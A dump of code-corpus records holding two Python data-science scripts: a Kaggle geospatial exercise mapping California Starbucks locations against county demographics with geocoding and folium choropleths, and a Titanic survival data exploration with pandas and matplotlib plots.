"max_stars_repo_stars_event_max_datetime": "2021-11-13T17:21:44.000Z", "max_issues_repo_path": "matplotlib-3.4.3/matplotlib-3.4.3/tutorials/intermediate/imshow_extent.py", "max_issues_repo_name": "JohnLauFoo/clc_packages_Yu", "max_issues_repo_head_hexsha": "259f01d9b5c02154ce258734d519ae8995cd0991", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "matplotlib-3.4.3/matplotlib-3.4.3/tutorials/intermediate/imshow_extent.py", "max_forks_repo_name": "JohnLauFoo/clc_packages_Yu", "max_forks_repo_head_hexsha": "259f01d9b5c02154ce258734d519ae8995cd0991", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.072519084, "max_line_length": 79, "alphanum_fraction": 0.5839596417, "include": true, "reason": "import numpy", "num_tokens": 2658, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11920291576401232, "lm_q1q2_score": 0.05960145788200616}}
{"text": "# |------------------------------------------------------------------\n# | # Geospatial Data Exercise\n# |------------------------------------------------------------------\n# |\n# | This is an exercise notebook for the fourth lesson of the kaggle course\n# | [\"Geospatial Analysis\"](https://www.kaggle.com/learn/geospatial-analysis)\n# | offered by Alexis Cook and Jessica Li. The main goal of the lesson is\n# | to get used to __Geocoding__ and __Spatial Join__.\n\n# | ## 1. Introduction\n# -------------------------------------------------------\n# | Import packages.\n# -------------------------------------------------------\nimport geopandas as gpd\nfrom kaggle_geospatial.kgsp import *\nfrom folium import Choropleth,  Marker, GeoJson\nimport folium\nimport plotly.graph_objs as go\nfrom plotly.subplots import make_subplots\nimport webbrowser\nimport zipfile\nfrom pathlib import Path\nimport os\nimport numpy as np\nimport pandas as pd\nfrom geopandas.tools import geocode\n\n# | ### Geocoding\n\n# | Geocoding is to convert the names and the addresses of places\n# | to the latitudes and the longitude, and vice versa.\n# | Here is a quick experiment with 'Marienplatz' in Munich.\n\nresult_1 = geocode([\"Marienplatz\"])\n\nprint(type(result_1))\nprint(result_1.info())\nprint(result_1['address'])\nresult_1.head(1)\n\n# | `geocode` returns a GeoDataFrame with Shapely `POINT` object\n# | and the address in human-readable form.\n\n# --\nresult_2 = geocode([\"Neuschwanstein\"])\n\nprint(type(result_2))\nprint(result_2.info())\nprint(result_2['address'])\nresult_2.head(1)\n\n# --\nresult_3 = geocode([\"Augsburger Rathaus\"])\n\nprint(type(result_3))\nprint(result_3.info())\nprint(result_3['address'])\nresult_3.head(1)\n\n# --\nresult_4 = geocode([\"Rathaus, Altenmuenster\"])\n\nprint(type(result_4))\nprint(result_4.info())\nprint(result_4['address'])\nresult_4.head(1)\n\n# | Wow!\n\n# | ### Spatial Join\n# | See Appendix.\n# |\n# | ## 2. Task\n# |\n# | Visualize the distribution of the coffeeshop Starbucks in California.\n# | Find out the best county to build the next 'Starbucks Reserve Roastery'\n# | (flagship atelier/gallery shops of Starbucks) in California.\n\n# | ## 3. Data\n# |\n# | 1. Locations of existing (non-Roastery) Starbucks in California.\n# | 2. General underlying map.\n# | 3. Boundaries of counties in California.\n# | 4. Statistics of counties in California, such as population,\n# |    area in km<sup>2</sup>, and median ages.  Among all, a unique information is\n# |    the number of __high earners__ (household with annual income over $150,000)\n# |    in each county.\n# |\n# | ## 4. Notebook\n\n# -------------------------------------------------------\n# | Set up some directories.\n\nCWD = '/Users/meg/git6/geocode/'\nDATA_DIR = '../input/geospatial-learn-course-data/'\nKAGGLE_DIR = 'alexisbcook/geospatial-learn-course-data'\nGEO_DIR = 'geospatial-learn-course-data'\n\nset_cwd(CWD)\nset_data_dir(DATA_DIR, KAGGLE_DIR, GEO_DIR, CWD)\nshow_whole_dataframe(True)\n\n# -------------------------------------------------------\n# | Read the starbucks data.\n\nstarbucks = pd.read_csv(DATA_DIR + 'starbucks_locations.csv')\nprint(starbucks.info())\nstarbucks.head(3)\n\n# -------------------------------------------------------\n# | Ancillary data for the state of California.\n\nCA_data_dir = DATA_DIR+'CA_county_boundaries/CA_county_boundaries/'\n\nCA_counties = gpd.read_file(CA_data_dir+'CA_county_boundaries.shp')\nCA_pop = pd.read_csv(DATA_DIR + 'CA_county_population.csv', index_col=\"GEOID\")\nCA_high_earners = pd.read_csv(\n    DATA_DIR + 'CA_county_high_earners.csv', index_col=\"GEOID\")\nCA_median_age = pd.read_csv(\n    DATA_DIR + 'CA_county_median_age.csv', index_col=\"GEOID\")\n\nprint(CA_counties.info())\nprint(CA_pop.info())\nprint(CA_high_earners.info())\nprint(CA_median_age.info())\n\nprint(CA_counties.head(3))\nprint(CA_pop.head(3))\nprint(CA_high_earners.head(3))\nprint(CA_median_age.head(3))\n\n# -------------------------------------------------------\n# | 'high earners' here means the number of household with annual\n# | income of $150,000 or more.\n\n# -------------------------------------------------------\n# | Start with Starbucks data.\n# | There are 5 missing 'Longitude' and 'Latitude' in the data.\n\nstarbucks.isna().sum()\nstarbucks.loc[starbucks['Longitude'].isna(), :]\nstarbucks.loc[starbucks['Latitude'].isna(), :]\nmissing_locations = starbucks.loc[starbucks['Latitude'].isna(), :]\n\n# -------------------------------------------------------\n# | The shops with missing 'Longitude' and 'Latitude' are\n# | all in Berkeley. We will use `geocode` to find out\n# | the coordinates of these shops from their\n# | addresses.\n\nx = pd.concat([geocode(r['Address'])\n               for i, r in missing_locations.iterrows()], axis=0)\n\nmissing_locations[['Longitude', 'Latitude']] = [\n    [p['geometry'].x, p['geometry'].y] for i, p in x.iterrows()]\n\nstarbucks = starbucks.combine_first(missing_locations)\nstarbucks[starbucks['City'] == 'Berkeley']\n\n# -------------------------------------------------------\n# | `.combine_first` is to fill `None` with the second\n# | DataFrame. Make sure that the indices are aligned [two DataFrames\n# | use the same (=consistent) index].\n\n# -------------------------------------------------------\n# | Now we have a complete table.\n\nstarbucks['Address'].str.contains('CA').mean()\n\n# | All shops are in California.\n\n# -------------------------------------------------------\n# | We will start visualization of the locations of the cafes.\n# | First, setup the center of the map, tiles, and the zoom factor.\n\ncenter = [starbucks['Latitude'].mean(), starbucks['Longitude'].mean()]\ntiles = 'openstreetmap'\nzoom = 8\n\n\n# -------------------------------------------------------\nm_1 = folium.Map(location=center, tiles=tiles, zoom_start=zoom)\n\ndump = [Marker((r['Latitude'], r['Longitude']),\n               tooltip=r['Address']).add_to(m_1)\n        for i, r in starbucks.iterrows()]\n\nembed_map(m_1, './html/m_1.html')\n# --\nshow_on_browser(m_1, CWD + './html/m_1b.html')\n\n# -------------------------------------------------------\n# | Okay, now we start working with the ancillary data.\n# | Combine all of them on the index `GEOID`.\n# | Make sure that the one with the geometry column\n# | is the left most DataFrame.\n\nCA_stats = CA_counties.merge(CA_pop, on='GEOID')\nCA_stats = CA_stats.merge(CA_high_earners, on='GEOID')\nCA_stats = CA_stats.merge(CA_median_age, on='GEOID')\n# CA_stats.set_index('GEOID', inplace=True)\n# -------------------------------------------------------\n# | Check CRS.\nCA_stats.crs\n\n# -------------------------------------------------------\n# | It looks like the order of latitude and longitude in `geometry`\n# | is not correct. Check it by plotting it.\n\n\ndef style_function(x):\n    #    return {'fillColor': 'coral', 'stroke': False}\n    return {'fillColor': 'teal', 'stroke': True}\n\n\nm_2 = folium.Map(location=center, tiles=tiles, zoom_start=zoom)\nGeoJson(data=CA_stats.__geo_interface__,\n        style_function=style_function).add_to(m_2)\nembed_map(m_2, './html/m_2.html')\n# --\nshow_on_browser(m_2, CWD + './html/m_2b.html')\n\n# -------------------------------------------------------\n# | Okay somehow GeoJson handles the coordinates correctly.\n\n# -------------------------------------------------------\n# | Add population-density, and fraction of high earners.\n\nCA_stats['density'] = CA_stats['population'] / CA_stats['area_sqkm']\nCA_stats['fraction_HE'] = CA_stats['high_earners'] / CA_stats['population']\n\n# -------------------------------------------------------\n# | Create a couple of choropleths to see\n# | the demographic and the economic landscape of California.\n\ntiles = 'Stamen Terrain'\nm_3 = folium.Map(location=center, tiles=tiles, zoom_start=zoom)\n\nChoropleth(geo_data=CA_stats.__geo_interface__,\n           name='choropleth',\n           data=CA_stats,\n           columns=['name', 'median_age'],\n           key_on='feature.properties.name',\n           fill_color='YlGnBu',\n           bins=[25, 30, 35, 40, 45, 50, 55, 60],\n           legend_name='Median Age of Counties in CA').add_to(m_3)\n\nembed_map(m_3, './html/m_3.html')\n# --\nshow_on_browser(m_3, CWD + './html/m_3b.html')\n\n# -------------------------------------------------------\n# | __`Choropleth`__ summary.\n# |  - `columns`: two columns of `CA_stats` for statistics to show.\n# |  - `key_on` : which one of the two above to use to match with `geo_data`.\n# | \n# -------------------------------------------------------\n\n# -------------------------------------------------------\n# | __What we can see__\n# | \n# | 1.  In the counties far away from the coast line toward the western hills\n# |     of Sierra Nevada, the median ages are high, sometimes over 50.\n# |\n# | 2.  In and near the two metropolises, Los Angeles and San Francisco,\n# |    the median ages are intermediate, 35-45.\n# |\n# | 3.  In between the cities along the coast and Sierra Nevada, in Great Valley\n# |    and Mohave Desert, the median ages are under 35.\n# |\n# | 4.  We might interpret the picture as a migration of people. Someone who \n# |    are raised in rural part of California, come to big cities to work, \n# |    and spend their retirement in highland, where the climates are mild. \n# |\n# -------------------------------------------------------\n\ntiles = 'Stamen Terrain'\nm_4 = folium.Map(location=center, tiles=tiles, zoom_start=zoom)\n\nChoropleth(geo_data=CA_stats.__geo_interface__,\n           name='choropleth',\n           data=CA_stats,\n           columns=['name', 'high_earners'],\n           key_on='feature.properties.name',\n           fill_color='YlGnBu',\n           bins=10 ** np.array([1, 2, 3, 4, 5, 6]),\n           legend_name='Number of Household with Annual Income > $150k in CA').add_to(m_4)\n\nembed_map(m_4, './html/m_4.html')\n# --\nshow_on_browser(m_4, CWD + './html/m_4b.html')\n\n# -------------------------------------------------------\ntiles = 'Stamen Terrain'\nm_5 = folium.Map(location=center, tiles=tiles, zoom_start=zoom)\n\nChoropleth(geo_data=CA_stats.__geo_interface__,\n           name='choropleth',\n           data=CA_stats,\n           columns=['name', 'fraction_HE'],\n           key_on='feature.properties.name',\n           fill_color='YlGnBu',\n           bins=[0.0, 0.02, 0.04, 0.06, 0.08, 0.10, 0.12, 0.14, 0.16],\n           legend_name='Fraction of Household with Annual Income > $150k in CA').add_to(m_5)\n\nembed_map(m_5, './html/m_5.html')\n# --\nshow_on_browser(m_5, CWD + './html/m_5b.html')\n\n# -------------------------------------------------------\n# | 1. Northern part of San Francisco Bay Area has the highest\n# | fraction of high earners.\n# -------------------------------------------------------\n# | Let us look at the number of Starbucks stores in each county.\n\nstarbucks = gpd.GeoDataFrame(starbucks,\n                             geometry=gpd.points_from_xy(\n                                 starbucks['Longitude'], starbucks['Latitude']))\n\nstarbucks.crs = {'init': 'epsg:4326'}\n\nnumber_of_sb = []\nfor i, c in CA_stats.iterrows():\n    number_of_sb.append(sum([c['geometry'].contains(s)\n                             for s in starbucks['geometry']]))\n\nCA_stats['number_of_sb'] = number_of_sb\n\n# -------------------------------------------------------\ntiles = 'cartodbpositron'\nm_6 = folium.Map(location=center, tiles=tiles, zoom_start=zoom)\n\nChoropleth(geo_data=CA_stats.__geo_interface__,\n           name='choropleth',\n           data=CA_stats,\n           columns=['name', 'number_of_sb'],\n           key_on='feature.properties.name',\n           fill_color='YlGnBu',\n           bins=[0, 10, 50, 100, 200, 400, 800],\n           legend_name='Number of Starbucks Cafes').add_to(m_6)\n\nembed_map(m_6, './html/m_6.html')\n# --\nshow_on_browser(m_6, CWD + './html/m_6b.html')\n\n# -------------------------------------------------------\nCA_stats['sb_per_pop'] = CA_stats['number_of_sb'] / \\\n    CA_stats['population'] * 10**5\n\n# -------------------------------------------------------\ntiles = 'cartodbpositron'\nm_7 = folium.Map(location=center, tiles=tiles, zoom_start=zoom)\nChoropleth(geo_data=CA_stats.__geo_interface__,\n           name='choropleth',\n           data=CA_stats,\n           columns=['name', 'sb_per_pop'],\n           key_on='feature.properties.name',\n           fill_color='YlGnBu',\n           bins=[0, 2, 4, 6, 8, 10, 12, 14, 16],\n           legend_name='Number of Starbucks Cafes per 100,000 People').add_to(m_7)\n\nembed_map(m_7, './html/m_7.html')\n# --\nshow_on_browser(m_7, CWD + './html/m_7b.html')\n# -------------------------------------------------------\n# |  1. Highest number of Starbucks cafes per capita\n# | was Mono County in Sierra Nevada.\n# -------------------------------------------------------\nCA_stats['sb_per_HE'] = CA_stats['high_earners'] / \\\n    CA_stats['population']\n\n# -------------------------------------------------------\ntiles = 'cartodbpositron'\nm_8 = folium.Map(location=center, tiles=tiles, zoom_start=zoom)\nChoropleth(geo_data=CA_stats.__geo_interface__,\n           name='choropleth',\n           data=CA_stats,\n           columns=['name', 'sb_per_HE'],\n           key_on='feature.properties.name',\n           tooltip=folium.features.GeoJsonTooltip(fields=['name']),\n           fill_color='YlGnBu',\n           bins=[0.0, 0.02, 0.04, 0.06, 0.08, 0.10, 0.12, 0.14, 0.16],\n           legend_name='Number of Starbucks Cafes per HE').add_to(m_8)\n\nembed_map(m_8, './html/m_8.html')\n# --\nshow_on_browser(m_8, CWD + './html/m_8b.html')\n# -------------------------------------------------------\n# | See all of the above in Scatter plot and Bar plots.\n# -------------------------------------------------------\n\ntrace = go.Scatter(x=CA_stats['median_age'],\n                   y=CA_stats['fraction_HE'],\n                   mode='markers',\n                   marker=dict(color='coral',\n                               size=20),\n                   #                   textfont=dict(size=32),\n                   hovertext=CA_stats['name'],\n                   hoverinfo='text',\n                   opacity=0.8)\n\ndata = [trace]\n\nlayout = go.Layout(height=1024, width=1024,\n                   font=dict(size=20),\n                   xaxis=dict(title=dict(text='Median Age')),\n                   yaxis=dict(title=dict(text='Fraction of High Earners')),\n                   showlegend=False)\n\nfig = go.Figure(data=data, layout=layout)\n# --\nembed_plot(fig, './html/p_1.html')\n# --\nfig.show()\n# -------------------------------------------------------\n# | 1. There is a cluster at the median age between 36 and 43\n# | and the fraction of high earner over 0.06.\n\n# -------------------------------------------------------\nCA_HE = CA_stats[(CA_stats['fraction_HE'] >= 0.06)\n                 & (CA_stats['median_age'] >= 36)\n                 & (CA_stats['median_age'] <= 43)]\nlen(CA_HE)\nCA_HE.head(3)\n\nn_rows = 5\nn_cols = 1\nfig = make_subplots(rows=n_rows, cols=n_cols,\n                    vertical_spacing=0.02,\n                    subplot_titles=[\n                        #                                    'Population',\n                        'Population Density',\n                        'Median Age',\n                        'Number of Starbucks',\n                        'Number of Starbucks per 100,000 People',\n                        'Number of Starbucks per High Earner'])\n\ntrace_density = go.Bar(y=CA_HE.sort_values('sb_per_HE')['name'],\n                       x=CA_HE.sort_values('sb_per_HE')['density'],\n                       #                       x=CA_HE.sort_values('sb_per_HE')['population'],\n                       xaxis='x', yaxis='y', orientation='h')\n\ntrace_med_age = go.Bar(y=CA_HE.sort_values('sb_per_HE')['name'],\n                       x=CA_HE.sort_values('sb_per_HE')['median_age'],\n                       xaxis='x2', yaxis='y2', orientation='h')\n\ntrace_sb = go.Bar(y=CA_HE.sort_values('sb_per_HE')['name'],\n                  x=CA_HE.sort_values('sb_per_HE')['number_of_sb'],\n                  xaxis='x3', yaxis='y3', orientation='h')\n\ntrace_sb_pop = go.Bar(y=CA_HE.sort_values('sb_per_HE')['name'],\n                      x=CA_HE.sort_values('sb_per_HE')['sb_per_pop'],\n                      xaxis='x4', yaxis='y4', orientation='h')\n\ntrace_sb_HE = go.Bar(y=CA_HE.sort_values('sb_per_HE')['name'],\n                     x=CA_HE.sort_values('sb_per_HE')['sb_per_HE'],\n                     xaxis='x5', yaxis='y5', orientation='h')\n\ndata = [trace_density, trace_med_age, trace_sb, trace_sb_pop, trace_sb_HE]\n\nlayout = go.Layout(height=640 * 5, width=1024,\n                   font=dict(size=20),\n                   showlegend=False)\n\nlayout = fig.layout.update(layout)\nfig = go.Figure(data=data, layout=layout)\n# --\nembed_plot(fig, './html/p_2.html')\n# -\nfig.show()\n\n# -------------------------------------------------------\n# | ## 5. Conclusion\n# | Where to locate the next Starbucks Reserve Roastery in California?\n# |\n# | 1. The target customer-segment would be young, professional, and early adapter\n# |  with the priority in this order.\n# |\n# | 2. The strategy depends on how we see the number of Starbucks per capita.\n# |    The presence of many Starbucks in a county is a sign of success? Or\n# |    a sign of saturation?\n# |\n# | 3. A bit younger median ages among Starbucks-dense counties,\n# |  Santa Clara and Alameda stand out.  My pick is __Alameda__.\n# |\n# |\n\n# -------------------------------------------------------\n# | ## 6. Appendix\n# | ### Spatial Join\n# | 'Spatial join' joins two GeoDataFrames according to their geometrical matching.\n# | Suppose that the first GeoDataFrames has `POINT` object in 'geometry' column\n# | and the second GeoDataFrames has `POLYGON`. One can join two GeoDataFrame so that\n# | the `POINT` is included in `POLYGON`.\n# |\n# | We assigned the total number of Starbucks in `starbucks` to each county\n# | in `CA_stats` above. Let us do the other way around, and add county information\n# | to `starbucks`.\n\nstarbucks.head(3)\nCA_stats.head(3)\n\nx = starbucks.sjoin(CA_stats)\nx.head(3)\n\n# -------------------------------------------------------\n# | END\n", "meta": {"hexsha": "96ce4f45eebf16eb4c0b9b3a54b4d08d6908183e", "size": 17865, "ext": "py", "lang": "Python", "max_stars_repo_path": "exercise-manipulating-geospatial-data.py", "max_stars_repo_name": "megnergit/GeoSpatial_Geocoding_G3", "max_stars_repo_head_hexsha": "db63676184aa75bd2ccf6f80bd183eb1828074d6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "exercise-manipulating-geospatial-data.py", "max_issues_repo_name": "megnergit/GeoSpatial_Geocoding_G3", "max_issues_repo_head_hexsha": "db63676184aa75bd2ccf6f80bd183eb1828074d6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "exercise-manipulating-geospatial-data.py", "max_forks_repo_name": "megnergit/GeoSpatial_Geocoding_G3", "max_forks_repo_head_hexsha": "db63676184aa75bd2ccf6f80bd183eb1828074d6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.1673228346, "max_line_length": 94, "alphanum_fraction": 0.5671424573, "include": true, "reason": "import numpy", "num_tokens": 4364, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11920291107043361, "lm_q1q2_score": 0.059601455535216806}}
{"text": "# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\n# Import Libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nplt.style.use('seaborn-pastel')\n\n# %% [markdown]\n#  # Lets load the data\n#  Okay, we got our libraries loaded, now it is time to use pandas to read\n#  the train.csv file that is located in the data folder.\n#\n#  Pandas read_csv command is able to read and parse csv files into dataframes,\n#  you can see the dataframe as a matrix on steroids.\n#\n#  ## Data Dictionary\n#\n#\n#  | Variable | Definition | Key |\n#  | :-: | :-: | :-: |\n#  | survival | Survival | 0 = No, 1 = Yes|\n#  | pclass | Ticket class | 1 = 1st, 2 = 2nd, 3 = 3rd|\n#  | sex | Sex | |\n#  | Age | Age in years | |\n#  | sibsp | # of siblings / spouses aboard the Titanic | |\n#  | parch | # of parents / children aboard the Titanic | |\n#  | ticket | Ticket number | |\n#  | fare | Passenger fare | |\n#  | cabin | Cabin number | |\n#  | embarked | Port of Embarkation | C = Cherbourg, Q = Queenstown, S = Southampton |\n\n# %%\ndataset = pd.read_csv('data/train.csv')\ndataset.head()\n\n# %% [markdown]\n#  # Some Terminology\n#  In our *dataset* we distinguish between the variables that gives us information that we are going to use\n#  in the estimation and we call them *features*, the variable we are trying to estimate is called target.\n#\n#  In formal machine learning books, you will often see the dataset expressed as a set $D$ composed of\n#  $n$ tuples $(\\textbf{x},y)$ where $\\textbf{x}$ is the feature vector (or predictors) and y is the target variable.\n#\n#  In this specific problem, **Survived** is the attribute that is our *target* value, all the other attributes from the\n#  dataset are *features*. However we don't need (and in this case we should not) use all the avaliable attributes as features for\n#  our model.\n\n# %%\ndataset.drop(labels=['Name', 'Ticket'],\n             axis=1,\n             inplace=True)\ndataset.head()\n\n\n# %%\n# Separate the data into two subsets to see if there is some difference in distr\n# from survived to non survived\n\nsurvivedSubset = dataset[dataset['Survived'] == 1]\nnotSurvivedSubset = dataset[dataset['Survived'] == 0]\n\ntotalSurvived = len(survivedSubset)\ntotalNotSurvived = len(notSurvivedSubset)\n\nprint(\n    f'Total Survived: {totalSurvived}\\nTotal Not Survived: {totalNotSurvived}')\nprint(f'Ratio NS/S: {totalNotSurvived / totalSurvived :.2f}')\n\n\n# %%\nfor column in dataset.columns.values:\n    hasMissingValues = dataset[column].isnull().values.any()\n    if hasMissingValues:\n        print(f'Column: {column} has missing values')\n\n# %% [markdown]\n# # Some helper functions\n# Lets define two auxiliary functions to help us plot some pie charts\n# to see how are the how many observations on the dataset are categorized according to\n# the attributes ** Sex ** and **Embarked** as well as the ** Survived ** target.\n\n# %%\n\n\ndef drawPieChart(labels,\n                 count,\n                 title=' '):\n\n    # Pie chart, where the slices will be ordered and plotted counter-clockwise:\n    _, ax1 = plt.subplots()\n    ax1.set_title(title)\n    explode = [0.1 for i in labels]\n    ax1.pie(count, labels=labels,\n            autopct=lambda perc: f'{perc:.2f}% ({int(perc * sum(count)/100)})',\n            shadow=True, explode=explode,\n            pctdistance=0.7, startangle=90)\n    # Equal aspect ratio ensures that pie is drawn as a circle.\n    ax1.axis('equal')\n\n    plt.show()\n\n\ndef getFrequenciesInCategoricalColumn(dataframe, columnName):\n    labels = dataframe[columnName].unique()\n    # print(f'Antes: {labels}, {list(map(lambda x: x is np.nan,labels))}')\n    labels = sorted(labels, key=lambda x: '0' if x is np.nan else x)\n    # print(labels)\n\n    def sumatoryFunction(columnContent):\n        if columnContent is np.nan:\n            return sum(dataframe[columnName].isnull())\n        return sum(dataframe[columnName] == columnContent)\n\n    count = list(map(sumatoryFunction,\n                     labels))\n    return labels, count\n\n\n# %%\ncolumnName = 'Survived'\nlabels, count = getFrequenciesInCategoricalColumn(dataset, columnName)\ndrawPieChart(labels, count, columnName)\n\n\n# %%\ncolumnName = 'Sex'\nlabels, count = getFrequenciesInCategoricalColumn(dataset, columnName)\ndrawPieChart(labels, count, columnName)\n\n\n# %%\ncolumnName = 'Embarked'\nlabels, count = getFrequenciesInCategoricalColumn(dataset, columnName)\ndrawPieChart(labels, count, columnName)\n\n\n# %%\ncolumnName = 'Survived'\ndatasetFemale = dataset[dataset['Sex'] == 'female']\ndatasetMale = dataset[dataset['Sex'] == 'male']\n\nlabelsFemale, countFemale = getFrequenciesInCategoricalColumn(\n    datasetFemale, columnName)\nlabelsFemale = list(\n    map(lambda x: 'Female Survived' if x else 'Female Not Survived', labelsFemale))\n\nlabelsMale, countMale = getFrequenciesInCategoricalColumn(\n    datasetMale, columnName)\nlabelsMale = list(\n    map(lambda x: 'Male Survived' if x else 'Male Not Survived', labelsMale))\n\ndrawPieChart(list(labelsFemale) + list(labelsMale),\n             countFemale + countMale, columnName)\n\n\n# %%\n# Does the gender influences on surviability?\n\nfig, ax = plt.subplots()\n\nwidth = 0.7\nind = np.arange(2)    # the x locations for the groups\n\np1 = ax.bar(ind, countMale, width, label='Men')\np2 = ax.bar(ind, countFemale, width,\n            bottom=countMale, label='Women')\n\nax.axhline(0, color='grey', linewidth=0.8)\nax.set_ylabel('Quantity')\nax.set_title('Gender Surviability')\nax.set_xticks(ind)\nax.set_xticklabels(('Not Survived', 'Survived'))\nax.legend()\n\n# Label with label_type 'center' instead of the default 'edge'\nax.bar_label(p1, label_type='center')\nax.bar_label(p2, label_type='center')\nax.bar_label(p2)\n\nplt.show()\n\n\n# %%\n# Lets see the distributions between survived and not survived\n# we will use both boxplot and violin plot to see the pros and cons\n# in each of them.\n# TLDR: Violin shows the distr whereas boxplot only shows quartiles.\n\nlabels = ['Survived', 'Not Survived']\n\nfig, (ax1, ax2) = plt.subplots(nrows=1, ncols=2, figsize=(18, 8))\n\n# rectangular box plot\nbplot1 = ax1.boxplot([survivedSubset['Age'].dropna(axis=0).values,\n                      notSurvivedSubset['Age'].dropna(axis=0).values],\n                     vert=True,  # vertical box alignment\n                     patch_artist=True,  # fill with color\n                     labels=labels)  # will be used to label x-ticks\nax1.set_title('Rectangular box plot')\n\nbplot2 = ax2.violinplot([survivedSubset['Age'].dropna(axis=0).values,\n                         notSurvivedSubset['Age'].dropna(axis=0).values])\nax2.set_title('Violin plot')\n\nax2.set_xticks([1, 2])\nax2.set_xticklabels(labels)\n\n# fill with colors\ncolors = ['pink', 'lightblue']\n\nfor patch, color in zip(bplot1['boxes'], colors):\n    patch.set_facecolor(color)\n\n# adding horizontal grid lines\n\nax1.yaxis.grid(True)\nax1.set_xlabel('Survived')\nax1.set_ylabel('Age')\n\nplt.show()\n\n\n# %%\n# Lets look at some histograms to see if something  appears looking at the fare\n\nbins = np.linspace(0, 100, 10)\n\n# plt.hist(survivedSubset['Age'].dropna(axis=0).values,\n#          bins, alpha=0.5, label='Survived')\nplt.hist([notSurvivedSubset['Age'].dropna(axis=0).values,\n          survivedSubset['Age'].dropna(axis=0).values],\n         bins,\n         alpha=0.5,\n         histtype='barstacked',\n         stacked=True,\n         label=['Not Survived', 'Survived'])\nplt.legend(loc='upper right')\nplt.ylabel('N\u00ba People')\nplt.xlabel('Age')\nplt.show()\n\nhistogramMin = min(dataset['Fare'].values)\nhistogramMax = max(dataset['Fare'].values)\n\nbins = np.linspace(histogramMin, histogramMax, 10)\n# plt.hist(survivedSubset['Fare'].dropna(axis=0).values,\n#          bins, alpha=0.5, label='Survived',\n#          histtype='barstacked')\nplt.hist([notSurvivedSubset['Fare'].dropna(axis=0).values,\n          survivedSubset['Fare'].dropna(axis=0).values],\n         bins,\n         alpha=0.5,\n         label=['Not Survived', 'Survived'],\n         histtype='barstacked',\n         stacked=True)\nplt.legend(loc='upper right')\nplt.ylabel('N\u00ba People')\nplt.xlabel('Fare')\nplt.show()\n\n\n# %%\n# Lets see if there is a difference in surviability given different classes\n\nfig, ax = plt.subplots()\n\nwidth = 0.7\nind = np.arange(3)    # the x locations for the groups\n\nsurvivedClass = list(\n    map(lambda x: sum(survivedSubset['Pclass'] == x), [1, 2, 3]))\nnotSurvivedClass = list(\n    map(lambda x: sum(notSurvivedSubset['Pclass'] == x), [1, 2, 3]))\n\np1 = ax.bar(ind, survivedClass, width, label='Survived')\np2 = ax.bar(ind, notSurvivedClass, width,\n            bottom=survivedClass, label='Not Survived')\n\nax.axhline(0, color='grey', linewidth=0.8)\nax.set_ylabel('Quantity')\nax.set_title('pClass Surviability')\nax.set_xticks(ind)\nax.set_xticklabels(('Class 1', 'Class 2', 'Class 3'))\nax.legend()\n\n# Label with label_type 'center' instead of the default 'edge'\n# To create the percentage labels whe use list comprehension\n# in a zipped list to compute the percentage of survivors\nlabelsSurvived = [\n    round((perc[0]/sum(perc))*100, 2) for perc in zip(survivedClass, notSurvivedClass)]\n# the percentage not survived is 100 - percentage survived\nlabelsNotSurvived = list(map(lambda x: f'{100 - x:.2f}%', labelsSurvived))\n# converts to string\nlabelsSurvived = list(map(lambda x: f'{x}%', labelsSurvived))\n\nax.bar_label(p1, labels=labelsSurvived, label_type='center')\nax.bar_label(p2, labels=labelsNotSurvived, label_type='center')\nax.bar_label(p2)\n\nplt.show()\n\n# %% [markdown]\n# # Feature Engineering + DataVis\n# By combining feature engineering to datavis we can see if different age groups have different survival rates.\n# We compute the age group by doing an integer division of age by 10, this way we categorize 0-9 years passenger in group 0, 10-19 years in group 1, and so on.\n#\n# Then we use the **groupby** function in pandas (similar to the *SQL* groupby) and we aggregate values with the np.mean function;\n\n# %%\ndatasetAges = dataset.dropna(axis=0, subset=['Age'])\ndatasetAges = datasetAges.assign(AgeGroup=datasetAges['Age'].apply(\n    lambda x: x // 10 if x // 10 <= 6 else 6))\n# There is a trick here, since Survived is a boolean attribute\n# the Survived mean is the same as Rate of Survival (do the math smarty pants!)\nageGroup = datasetAges.groupby(['AgeGroup']).aggregate([np.mean, np.var])\n\n\n# %%\n\nfig, ax = plt.subplots()\nsurvivedRatio = ageGroup['Survived']['mean'].values\nax.scatter(ageGroup.index.values,\n           survivedRatio)\nax.set_xticks(ageGroup.index.values)\n\nax.set_title('Surviability by Age Group')\nax.set_ylim((0, 1))\nax.set_ylabel('Survival Rate')\nax.set_xlabel('Age Group')\n\nax.set_xticklabels(['0 - 10', '10 - 20', '20 - 30',\n                   '30 - 40', '40 - 50', '50 -60', '60+'])\nfor i in range(len(survivedRatio)):\n    xyAnnotation = list(zip(ageGroup.index.values, survivedRatio))\n# The magic number 0.03 serves as a offset so the annotation wont\n# be in the same place of the dot in the graph\n    xyAnnotationPlace = list(\n        map(lambda x: (x[0]+0.03, x[1]+0.03), xyAnnotation))\n    ax.annotate(f'{survivedRatio[i]*100:.2f}%',\n                xy=xyAnnotation[i],\n                xytext=xyAnnotationPlace[i])\n# (ageGroup['Survived']['mean'].values)\n\nfig.show()\n", "meta": {"hexsha": "499678b907481d5b438dbcbc54fc4118ecf30a78", "size": 11161, "ext": "py", "lang": "Python", "max_stars_repo_path": "dataExploration.py", "max_stars_repo_name": "lucaskup/kaggleTitanicTrain", "max_stars_repo_head_hexsha": "36197cf1b62bc4f25a5b2e9fb24d97625bb9e386", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, 